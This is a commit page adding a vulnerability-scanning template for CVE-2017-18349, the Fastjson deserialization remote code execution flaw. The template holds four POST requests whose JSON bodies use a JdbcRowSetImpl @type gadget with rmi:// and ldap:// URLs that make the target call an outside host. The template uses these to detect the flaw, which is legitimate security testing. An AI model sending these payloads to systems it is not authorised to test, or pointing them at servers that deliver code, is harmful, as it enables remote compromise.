Skip to content

Commit 273970a

Browse files
Add CVE-2017-18349 Fastjson RCE template
1 parent 400bc37 commit 273970a

File tree

1 file changed

+178
-0
lines changed

1 file changed

+178
-0
lines changed

http/cves/2017/CVE-2017-18349.yaml

Lines changed: 178 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,178 @@
1+
id: CVE-2017-18349
2+
3+
info:
4+
name: Fastjson Insecure Deserialization - Remote Code Execution
5+
author: night
6+
severity: critical
7+
description: |
8+
Fastjson before 1.2.25 contains a remote code execution vulnerability in parseObject method.
9+
The vulnerability allows remote attackers to execute arbitrary code via crafted JSON requests
10+
containing malicious @type annotations that trigger unsafe deserialization of JdbcRowSetImpl.
11+
This affects FastjsonEngine in Pippo 1.11.0 and other products using vulnerable Fastjson versions.
12+
impact: |
13+
Successful exploitation allows complete system compromise through remote code execution,
14+
enabling attackers to execute arbitrary commands, access sensitive data, and establish
15+
persistent backdoors on the target system.
16+
remediation: |
17+
Update Fastjson to version 1.2.25 or later which includes security patches for this vulnerability.
18+
Implement additional security measures: disable autotype functionality by setting fastjson.parser.autoTypeSupport=false,
19+
implement strict whitelist filtering for @type annotations, validate and sanitize all JSON input,
20+
use Web Application Firewalls (WAF) to filter malicious requests, and regularly audit dependencies
21+
for known vulnerabilities. Consider migrating to safer JSON parsing libraries like Jackson with
22+
secure configurations.
23+
reference:
24+
- https://nvd.nist.gov/vuln/detail/CVE-2017-18349
25+
- https://github.com/alibaba/fastjson/wiki/security_update_20170315
26+
- https://github.com/pippo-java/pippo/issues/466
27+
- https://github.com/h0cksr/Fastjson--CVE-2017-18349-
28+
- https://fortiguard.com/encyclopedia/ips/44059
29+
- https://www.exploit-db.com/exploits/45983
30+
classification:
31+
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
32+
cvss-score: 9.8
33+
cve-id: CVE-2017-18349
34+
cwe-id: CWE-502
35+
cpe: cpe:2.3:a:alibaba:fastjson:*:*:*:*:*:*:*:*
36+
epss-score: 0.97435
37+
epss-percentile: 0.99951
38+
metadata:
39+
verified: true
40+
max-request: 4
41+
vendor: alibaba
42+
product: fastjson
43+
tags: cve,cve2017,fastjson,deserialization,rce,critical,intrusive
44+
45+
variables:
46+
rmi_payload: "rmi://{{interactsh-url}}/{{randstr}}"
47+
ldap_payload: "ldap://{{interactsh-url}}/{{randstr}}"
48+
49+
http:
50+
- method: POST
51+
path:
52+
- "{{BaseURL}}/json"
53+
- "{{BaseURL}}/api/json"
54+
55+
headers:
56+
Content-Type: application/json
57+
Accept: application/json
58+
User-Agent: "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:139.0) Gecko/20100101 Firefox/139.0"
59+
60+
body: |
61+
{
62+
"@type": "com.sun.rowset.JdbcRowSetImpl",
63+
"dataSourceName": "{{rmi_payload}}",
64+
"autoCommit": true
65+
}
66+
67+
stop-at-first-match: true
68+
69+
matchers:
70+
- type: word
71+
part: interactsh_protocol
72+
words:
73+
- "dns"
74+
- "http"
75+
76+
extractors:
77+
- type: kval
78+
kval:
79+
- interactsh_ip
80+
- interactsh_request
81+
82+
- method: POST
83+
path:
84+
- "{{BaseURL}}/json"
85+
- "{{BaseURL}}/api/json"
86+
- "{{BaseURL}}/parse"
87+
- "{{BaseURL}}/deserialize"
88+
89+
headers:
90+
Content-Type: application/json
91+
Accept: application/json
92+
User-Agent: "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:139.0) Gecko/20100101 Firefox/139.0"
93+
94+
body: |
95+
{
96+
"@type": "com.sun.rowset.JdbcRowSetImpl",
97+
"dataSourceName": "{{ldap_payload}}",
98+
"autoCommit": true
99+
}
100+
101+
matchers:
102+
- type: word
103+
part: interactsh_protocol
104+
words:
105+
- "dns"
106+
- "http"
107+
108+
extractors:
109+
- type: kval
110+
kval:
111+
- interactsh_ip
112+
- interactsh_request
113+
114+
- method: POST
115+
path:
116+
- "{{BaseURL}}/json"
117+
- "{{BaseURL}}/api/json"
118+
- "{{BaseURL}}/parse"
119+
- "{{BaseURL}}/deserialize"
120+
121+
headers:
122+
Content-Type: application/json
123+
Accept: application/json
124+
User-Agent: "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:139.0) Gecko/20100101 Firefox/139.0"
125+
126+
body: |
127+
{
128+
"data": {
129+
"@type": "com.sun.rowset.JdbcRowSetImpl",
130+
"dataSourceName": "{{rmi_payload}}",
131+
"autoCommit": true
132+
}
133+
}
134+
135+
matchers:
136+
- type: word
137+
part: interactsh_protocol
138+
words:
139+
- "dns"
140+
- "http"
141+
142+
extractors:
143+
- type: kval
144+
kval:
145+
- interactsh_ip
146+
- interactsh_request
147+
148+
- method: POST
149+
path:
150+
- "{{BaseURL}}/json"
151+
152+
headers:
153+
Content-Type: application/json
154+
Accept: application/json
155+
User-Agent: "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:139.0) Gecko/20100101 Firefox/139.0"
156+
157+
body: |
158+
{
159+
"b": {
160+
"@type": "com.sun.rowset.JdbcRowSetImpl",
161+
"dataSourceName": "{{ldap_payload}}",
162+
"autoCommit": true
163+
}
164+
}
165+
166+
matchers:
167+
- type: word
168+
part: interactsh_protocol
169+
words:
170+
- "dns"
171+
- "http"
172+
173+
extractors:
174+
- type: kval
175+
kval:
176+
- interactsh_ip
177+
- interactsh_request
178+

0 commit comments

Comments
 (0)